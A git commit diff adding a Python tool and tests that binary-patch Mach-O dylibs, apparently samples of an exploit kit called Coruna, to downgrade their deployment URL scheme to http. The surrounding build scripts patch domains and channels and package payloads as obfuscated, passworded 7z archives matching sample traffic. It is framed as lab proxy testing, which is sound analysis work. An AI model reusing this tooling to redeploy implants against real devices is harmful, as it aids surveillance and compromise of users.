This commit is contained in:
hashbro
2026-08-08 06:09:30 +08:00
parent 91196b8832
commit 94f686e668
4 changed files with 218 additions and 16 deletions
+56
View File
@@ -0,0 +1,56 @@
import sys
import unittest
from pathlib import Path
FRONTEND = Path(__file__).resolve().parents[1]
TOOLS = FRONTEND / "tools"
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
from _scheme_patch import (
LEGACY_SLASH,
NEW_VISIBLE,
OLD,
patch_deployment_scheme_to_http,
)
class SchemePatchTests(unittest.TestCase):
def test_slot_sizes(self) -> None:
self.assertEqual(len(OLD), 10)
self.assertEqual(len(LEGACY_SLASH), 10)
self.assertEqual(len(NEW_VISIBLE), 9)
def test_patches_core_fat_dylib(self) -> None:
src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
data = src.read_bytes()
self.assertEqual(data.count(OLD), 2)
out = patch_deployment_scheme_to_http(data, expect_hits=2, label="core")
self.assertEqual(out.count(OLD), 0)
self.assertEqual(out.count(LEGACY_SLASH), 0)
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
def test_migrates_legacy_trailing_slash(self) -> None:
src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
legacy = src.read_bytes().replace(OLD, LEGACY_SLASH)
self.assertEqual(legacy.count(LEGACY_SLASH), 2)
out = patch_deployment_scheme_to_http(legacy, expect_hits=2, label="core")
self.assertEqual(out.count(LEGACY_SLASH), 0)
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
def test_patches_type0x01_thin(self) -> None:
src = (
FRONTEND
/ "source"
/ "type0x01_dylibs"
/ "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib"
)
data = src.read_bytes()
out = patch_deployment_scheme_to_http(data, expect_hits=1, label="t0")
self.assertEqual(out.count(OLD), 0)
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 1)
if __name__ == "__main__":
unittest.main()
+139
View File
@@ -0,0 +1,139 @@
"""Force Deployment/Reporting URL scheme from https to http for lab proxy testing.
Core/type0x01 build URLs with the cstring/CFString format ``https://%@``.
daily.html plugin URLs are already ``http://[HOST_PLACEHOLDER]/...``.
``https://%@`` (len 10) is replaced with ``http://%@\\0`` (9 visible chars + pad)
and matching CFString length fields are updated 10 → 9. Do **not** use a trailing
slash in the format string — paths already start with ``/``, which produced
``https://host//api/...``.
"""
from __future__ import annotations
import struct
from _path_patch import _arm64e_target, _fat_slices, _parse_macho
OLD = b"https://%@"
# Previous mistaken same-length patch (caused host//path).
LEGACY_SLASH = b"http://%@/"
# 10-byte slot: 9-char format + NUL pad (original terminator becomes a second NUL).
NEW_SLOT = b"http://%@\x00"
NEW_VISIBLE = b"http://%@"
def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
macho = _parse_macho(data, label=label)
base_subtype = macho.cpu_subtype & 0x00FFFFFF
architecture = (
"arm64e" if base_subtype == 2 else "arm64" if base_subtype == 0 else ""
)
if architecture not in {"arm64", "arm64e"}:
raise SystemExit(f"{label}: unsupported CPU subtype {base_subtype}")
cstring = macho.section("__TEXT", "__cstring")
region = bytearray(data[cstring.offset : cstring.offset + cstring.size])
# Prefer migrating legacy slash form, else patch original https form.
if region.count(LEGACY_SLASH) == expect_hits and region.count(OLD) == 0:
source = LEGACY_SLASH
elif region.count(OLD) == expect_hits:
source = OLD
elif (
region.count(NEW_VISIBLE) >= expect_hits
and region.count(OLD) == 0
and region.count(LEGACY_SLASH) == 0
):
# Already patched to http://%@ (NUL-terminated).
return data
else:
raise SystemExit(
f"{label}: expected {expect_hits} {OLD!r} or {LEGACY_SLASH!r} in "
f"__cstring; found https={region.count(OLD)} slash={region.count(LEGACY_SLASH)}"
)
hits: list[int] = []
start = 0
while True:
hit = region.find(source, start)
if hit < 0:
break
hits.append(hit)
start = hit + 1
if len(hits) != expect_hits:
raise SystemExit(
f"{label}: __cstring scheme hits={len(hits)}, expected {expect_hits}"
)
for hit in hits:
region[hit : hit + len(NEW_SLOT)] = NEW_SLOT
buf = bytearray(data)
buf[cstring.offset : cstring.offset + cstring.size] = region
cfstring = macho.section("__DATA_CONST", "__cfstring")
if cfstring.size % 32:
raise SystemExit(f"{label}: __cfstring size is not record-aligned")
patched_lengths = 0
for hit in hits:
path_vmaddr = cstring.addr + hit
for record_offset in range(
cfstring.offset, cfstring.offset + cfstring.size, 32
):
raw = struct.unpack_from("<Q", buf, record_offset + 16)[0]
length = struct.unpack_from("<Q", buf, record_offset + 24)[0]
target = raw if architecture == "arm64" else _arm64e_target(raw)
if target != path_vmaddr:
continue
if length not in (len(OLD), len(NEW_VISIBLE)):
raise SystemExit(
f"{label}: scheme CFString length={length}, expected "
f"{len(OLD)} or {len(NEW_VISIBLE)}"
)
struct.pack_into("<Q", buf, record_offset + 24, len(NEW_VISIBLE))
patched_lengths += 1
break
else:
raise SystemExit(
f"{label}: no CFString pointing at scheme cstring vmaddr {path_vmaddr:#x}"
)
if patched_lengths != expect_hits:
raise SystemExit(
f"{label}: patched {patched_lengths} CFString lengths, expected {expect_hits}"
)
return bytes(buf)
def patch_deployment_scheme_to_http(
data: bytes,
*,
expect_hits: int,
label: str,
) -> bytes:
"""Patch ``https://%@`` → ``http://%@`` (CFString length 9) in thin or fat dylibs.
``expect_hits`` is the total number of format strings across the whole file
(2 for fat core, 1 for thin type0x01).
"""
slices = _fat_slices(data, label=label)
if slices is None:
return _patch_thin_scheme(data, expect_hits=expect_hits, label=label)
if expect_hits % len(slices) != 0:
raise SystemExit(
f"{label}: expect_hits={expect_hits} not divisible by fat slices={len(slices)}"
)
per_slice = expect_hits // len(slices)
buf = bytearray(data)
for index, slice_info in enumerate(slices):
thin = bytes(buf[slice_info.offset : slice_info.offset + slice_info.size])
patched = _patch_thin_scheme(
thin, expect_hits=per_slice, label=f"{label}[slice{index}]"
)
if len(patched) != slice_info.size:
raise SystemExit(f"{label}: fat slice size changed after scheme patch")
buf[slice_info.offset : slice_info.offset + slice_info.size] = patched
return bytes(buf)
+18 -16
View File
@@ -28,6 +28,7 @@ from _common import (
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _path_patch import patch_initial_daily_path
from _scheme_patch import patch_deployment_scheme_to_http
import _common
from coruna_netconfig_pipeline import (
@@ -59,10 +60,11 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
return bytes(out)
# Match sample wires (source/sync/*.html): Method = LZMA2:13 7zAES:19.
# py7zr defaults to LZMA2:24, which the client 7z extractor rejects (-1).
# Sample wires use 7-Zip EncodedHeader shape (next_sz≈47, Headers Size=191).
# py7zr writes a different EncodedHeader the client rejects as NO_ARCHIVE (17).
# macOS `7z a <file>` embeds Unix mode bits (extract -1). `7z a -siNAME` does not.
_7Z_PACK_FILTER = "LZMA2:a=0:d=8k"
_7Z_CACHE_TAG = b"lzma2:13\0"
_7Z_CACHE_TAG = b"lzma2:13-si\0"
def _find_7z() -> str:
@@ -71,15 +73,16 @@ def _find_7z() -> str:
if path:
return path
raise SystemExit(
"7z required to pack Coruna archives (LZMA2:13). Install p7zip."
"7z required to pack Coruna archives (LZMA2:13 via -si). Install p7zip."
)
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
"""Build passworded 7z with sample-compatible LZMA2:13; cache by content."""
"""Build passworded 7z matching sample EncodedHeader/attrs; cache by content."""
arc_name = Path(member_name).name
cache_key = sha256_hex(
_7Z_CACHE_TAG
+ member_name.encode("utf-8")
+ arc_name.encode("utf-8")
+ b"\0"
+ password.encode("utf-8")
+ b"\0"
@@ -92,12 +95,7 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
seven = _find_7z()
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
# Keep archive member name flat (basename only) like original wires.
arc_name = Path(member_name).name
member = root / arc_name
member.write_bytes(payload)
archive = root / "out.7z"
archive = Path(tmp) / "out.7z"
cmd = [
seven,
"a",
@@ -105,17 +103,17 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
f"-m0={_7Z_PACK_FILTER}",
"-mhe=on",
f"-p{password}",
f"-si{arc_name}",
"-y",
"-bso0",
"-bsp0",
str(archive),
str(member),
]
proc = subprocess.run(cmd, capture_output=True, text=True)
proc = subprocess.run(cmd, input=payload, capture_output=True)
if proc.returncode != 0 or not archive.is_file():
detail = (proc.stderr or proc.stdout or "").strip()
detail = (proc.stderr or proc.stdout or b"").decode("utf-8", "replace").strip()
raise RuntimeError(
f"7z pack failed (code {proc.returncode}): {detail or 'no output'}"
f"7z -si pack failed (code {proc.returncode}): {detail or 'no output'}"
)
data = archive.read_bytes()
@@ -317,6 +315,10 @@ def main() -> int:
reporting_seed=rep,
label=label,
)
# Fat arm64+arm64e: 2× https://%@ → http://%@/ for lab cleartext proxy.
data = patch_deployment_scheme_to_http(
data, expect_hits=2, label=label
)
if expect > 0:
data = patch_module_channel(
+5
View File
@@ -23,6 +23,7 @@ from _common import (
validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _scheme_patch import patch_deployment_scheme_to_http
from _path_patch import patch_initial_daily_path
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common
@@ -140,6 +141,10 @@ def main() -> int:
reporting_seed=rep,
label=path.name,
)
# Thin type0x01: 1× https://%@ → http://%@/ for lab cleartext proxy.
data = patch_deployment_scheme_to_http(
data, expect_hits=1, label=path.name
)
if channel != ORIGINAL_CHANNEL_ID:
data = patch_channel_in_dylib(
data,